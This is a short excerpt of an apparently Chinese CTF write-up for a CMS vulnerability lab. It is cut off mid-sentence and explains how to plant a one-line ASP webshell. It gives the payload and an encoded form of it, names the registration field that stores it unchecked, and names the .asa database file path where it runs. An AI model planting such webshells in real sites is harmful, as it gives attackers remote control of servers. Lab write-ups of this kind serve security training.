墨者 - CMS系统漏洞分析溯源(第3题)

根据题目提示 直接在密码问题输入   十摊救畲整堙壤敝瑶V三-l慵， 这是一句话木马<%execute(raquest("a"))%>的另一种编码形式（连接密码是“a”） 为什么在密码问题输入一句话呢 因为储存注册信息的数据库文件是.asa文件，位于/data/ask_ncwasp.asa。 上传一句话木马将会被执行，为什么只能是密码问题框呢 因为其他都做了字符校验，而问题回答做了MD5加密（失去

>>阅读原文<<